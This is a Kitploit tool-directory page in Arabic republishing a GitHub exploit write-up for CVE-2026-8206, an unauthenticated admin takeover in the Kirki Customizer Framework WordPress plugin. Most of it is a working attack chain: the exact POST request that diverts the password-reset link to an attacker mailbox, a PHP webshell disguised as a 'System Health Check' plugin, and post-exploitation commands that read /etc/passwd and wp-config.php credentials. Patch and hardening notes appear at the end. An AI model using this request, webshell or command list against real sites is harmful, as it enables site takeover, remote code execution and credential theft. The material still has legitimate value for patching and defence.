Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - الاستيلاء على الحساب دون مصادقة (CVSS 9.8) | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2026-8206
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - الاستيلاء على الحساب دون مصادقة (CVSS 9.8)

1منذ 24 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-8206

الثغرة: الاستيلاء على الحساب بدون مصادقة — اختطاف بريد إعادة تعيين كلمة المرور في إطار عمل Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 حرجة

المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. نظرة عامة

CVE-2026-8206 هي ثغرة الاستيلاء على الحساب بدون مصادقة في إطار عمل Kirki Customizer Framework — وهي إضافة شائعة لبناء صفحات ووردبريس مع أكثر من 90,000 تثبيت نشط. تسمح الثغرة للمهاجم بالاستيلاء على أي حساب ووردبريس (بما في ذلك حساب المشرف) بمجرد إرسال طلب HTTP واحد.

يكمن الخلل في نقطة نهاية REST API kirki-forgot-password في وحدة ComponentLibrary. تسمح نقطة النهاية هذه بطلب إعادة تعيين كلمة المرور لأي مستخدم وترسل رابط إعادة التعيين إلى عنوان بريد إلكتروني يحدده المهاجم، بدلاً من البريد الإلكتروني المسجل للمستخدم.

المعلوماتالتفاصيل
الإضافةKirki Customizer Framework (منشئ صفحات ووردبريس)
الإصدارات المتأثرة6.0.0 – 6.0.6
الإصدار المُصحَّح6.0.7 (أو 6.0.12+)
نوع الثغرةاستيلاء على الحساب بدون مصادقة عبر اختطاف بريد إعادة تعيين كلمة المرور
نقطة النهاية/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (أو /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 حرجة

متطلبات الاستغلال:

  • إطار عمل Kirki Customizer Framework 6.0.0–6.0.6 مُفعَّل
  • REST API عام (الوضع الافتراضي في ووردبريس)
  • وحدة ComponentLibrary نشطة (الوضع الافتراضي عند تفعيل الإضافة)
  • لا يتطلب أي حساب أو جلسة

→ كل موقع ووردبريس مثبت عليه Kirki 6.0.0–6.0.6 يكون عرضة للخطر افتراضيًا.

2. المصطلحات

نقاط نهاية REST الخاصة بـ ComponentLibrary

يسجّل Kirki نقاط نهاية REST API لميزة Component Library، بما في ذلك تسجيل الدخول والتسجيل ونسيان كلمة المرور وتغيير كلمة المرور. جميعها تسمح بوصول الضيوف (تُرجع guest_permissions_check القيمة true).

التحقق من nonce

nonce ووردبريس هو رمز حماية من CSRF. يتطلب Kirki nonce عبر ترويسة X-WP-Element-Nonce أو يتحقق من معامل nonce في الطلب. ومع ذلك، يمكن إنشاء الـ nonce أو استخراجه علنًا من جانب العميل.

مفتاح إعادة تعيين كلمة المرور

يستخدم ووردبريس get_password_reset_key() لإنشاء رمز إعادة تعيين كلمة المرور. يُدرج Kirki هذا الرمز في قالب البريد الإلكتروني قبل الإرسال.

3. السبب الجذري — اختطاف بريد إعادة تعيين كلمة المرور

الملف: ComponentLibrary/controller/CompLibFormHandler.php

الخلل 1: عدم التحقق من مطابقة البريد الإلكتروني للمستخدم

في الإصدار الضعيف (6.0.0–6.0.6)، لا تتحقق الدالة handle_forgot_password() من تطابق البريد الإلكتروني المقدم مع البريد الإلكتروني المسجل للمستخدم. يمكن للمهاجم تحديد اسم مستخدم الضحية وبريده الإلكتروني الخاص — وسيُرسل رابط إعادة التعيين إلى بريد المهاجم.

الكود المصدري الضعيف:

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

الخلل 2: عدم وجود توقيع HMAC على قالب البريد الإلكتروني

يتم استلام موضوع البريد الإلكتروني ونصه من العميل عبر المعاملين emailSubject وemailBody دون أي توقيع HMAC للتحقق من السلامة. يمكن للمهاجم تعديل محتوى البريد الإلكتروني المرسل بشكل تعسفي.

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. لماذا تعتبر هذه الثغرة خطيرة

العاملالشرح

5. تحليل سلسلة الهجوم

يبدأ استغلال CVE-2026-8206 من صفر وصول — لا حساب، لا كلمة مرور، لا جلسة — إلى استيلاء كامل على حساب المشرف باستخدام طلبات HTTP فقط.

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 منهجية بناء الحمولة

الخطوة 1: قراءة الكود المصدري (الطريقة الأكثر دقة)

حمّل الإضافة من wordpress.org وافتح الملف CompLibFormHandler.php مباشرة:

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ تكشف قراءة الكود أن: emailBody يجب أن تكون مصفوفة JSON، كل عنصر يحتوي على type وvalue. إذا كان type = chip وvalue = reset_link، يقوم Kirki تلقائيًا بإدراج رابط إعادة التعيين في البريد الإلكتروني.

الخطوة 2: البحث في حزمة JavaScript الخاصة بالإضافة

ابحث مباشرة داخل دليل الإضافة:

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

سيكشف الكود الأمامي المُجمَّع عن بنية JSON الدقيقة المطلوبة.

ملخص عملية اكتشاف الحمولة:

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 المرحلة 1: اختطاف بريد إعادة تعيين كلمة المرور

يرسل المهاجم طلب POST إلى نقطة نهاية forgot-password مع اسم مستخدم الضحية (admin) وعنوان بريد إلكتروني يتحكم به المهاجم ([email protected]). يولّد الخادم مفتاح إعادة تعيين للضحية لكنه يرسل رابط إعادة التعيين إلى [email protected].

إرسال الطلب:

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

اعتراض طلب إرسال بريد إعادة التعيين

الاستجابة (نجاح):

استجابة تؤكد إرسال البريد الإلكتروني

البريد الإلكتروني المستلم في صندوق بريد المهاجم (MailHog على http://localhost:8025):

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

صندوق بريد MailHog يستقبل مفتاح إعادة التعيين

5.2 المرحلة 2: إعادة تعيين كلمة المرور وتسجيل دخول المشرف

يستخدم المهاجم رمز key الذي حصل عليه من البريد الإلكتروني لتغيير كلمة مرور حساب المشرف عبر نقطة نهاية kirki-change-password أو نموذج ووردبريس الافتراضي، ثم يسجل الدخول ويحصل على سيطرة إدارية كاملة على الموقع.

نموذج إعادة تعيين كلمة المرور

تم تغيير كلمة المرور والوصول باستخدام حساب admin.

نجاح تسجيل الدخول إلى لوحة تحكم المشرف

تم الوصول إلى حساب admin بنجاح.

5.3 المرحلة 3: رفع Webshell و RCE

بعد الحصول على وصول إلى لوحة تحكم المشرف، يرفع المهاجم مستوى الهجوم من الاستيلاء على الحساب إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر ميزة رفع الإضافات الافتراضية في ووردبريس.

الخطوة 1: إنشاء إضافة تحتوي على Webshell

ينشئ المهاجم webshell بلغة PHP مقنعًا كإضافة ووردبريس شرعية:

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

يتم ضغط هذا الملف في system-health.zip للرفع عبر واجهة المشرف.

الخطوة 2: رفع الإضافة عبر لوحة تحكم المشرف

ينتقل المهاجم إلى الإضافات → إضافة جديد → رفع إضافة، ويختار ملف system-health.zip ثم ينقر تثبيت الآن → تفعيل الإضافة.

واجهة رفع الإضافة

بعد الرفع، يقوم ووردبريس تلقائيًا بفك ضغط ملف .zip في دليل /wp-content/plugins/ على الخادم، مما يجعل الـ webshell جاهزًا للعمل.

الخطوة 3: تنفيذ الأوامر على الخادم (RCE)

يصل المهاجم إلى الـ webshell مباشرة عبر نقطة النهاية /wp-content/plugins/webshell-plugin/shell.php

تنفيذ أمر RCE whoami

تنفيذ أمر RCE passwd

تم تنفيذ RCE بنجاح.

عند هذه النقطة، يمتلك المهاجم قدرة كاملة على تنفيذ الأوامر على الخادم بصلاحيات www-data. قد تشمل الإجراءات اللاحقة:

ملخص سلسلة تصعيد الصلاحيات:

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. ملخص سلسلة الهجوم


7. الدفاع والمعالجة

7.1 تصحيح الإضافة (الإصلاح النهائي)

الإصدار الحاليالترقية إلى
6.0.0 – 6.0.66.0.7 أو أحدث

7.2 إصلاح الكود — التحقق من تطابق البريد الإلكتروني مع المستخدم

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 التحصين — منع تصعيد RCE

حتى إذا تم اختراق حساب المشرف، يمكن تخفيف الضرر بالإجراءات التالية:

تنزيل الأداة
لا يتطلب مصادقةتُرجع guest_permissions_check() القيمة true — يمكن لأي شخص استدعاء نقطة النهاية
يمكن الاستيلاء على أي حسابفقط اسم المستخدم مطلوب (الافتراضي: 'admin') — لا حاجة لبريد إلكتروني/كلمة مرور
التأثير: الاستيلاء على حساب المشرفالاستيلاء على المشرف → رفع webshell → RCE → سيطرة كاملة على الخادم
انتشار واسعKirki إضافة مدمجة على نطاق واسع في العديد من قوالب ووردبريس
الأمرالغرض
idتأكيد صلاحيات المستخدم الحالي
whoamiعرض اسم المستخدم الحالي
cat /etc/passwdقراءة قائمة مستخدمي النظام
uname -aعرض معلومات النواة/نظام التشغيل
cat wp-config.phpقراءة بيانات اعتماد قاعدة البيانات
ls -la /تصفح نظام الملفات بالكامل
#المرحلةالطريقةالمسار
1اختطاف بريد إعادة التعيينPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2إعادة تعيين كلمة المرورGET/wp-login.php?action=rp&key=<token>&login=admin
3تسجيل دخول المشرفPOST/wp-login.php
4رفع WebshellPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
الإجراءالإعداد
حظر تثبيت الإضافات/القوالب عبر لوحة التحكمأضف define('DISALLOW_FILE_MODS', true); إلى wp-config.php
حظر تحرير الكود من لوحة التحكمأضف define('DISALLOW_FILE_EDIT', true); إلى wp-config.php
تقييد صلاحيات دليل الرفعchmod 755 للدلائل، chmod 644 للملفات
جدار حماية تطبيقات الويب (WAF)نشر ModSecurity أو Cloudflare WAF لحظر الطلبات غير الطبيعية الموجهة إلى REST API
المراقبةمراقبة تغييرات الملفات في /wp-content/plugins/ باستخدام أدوات مثل OSSEC أو Wordfence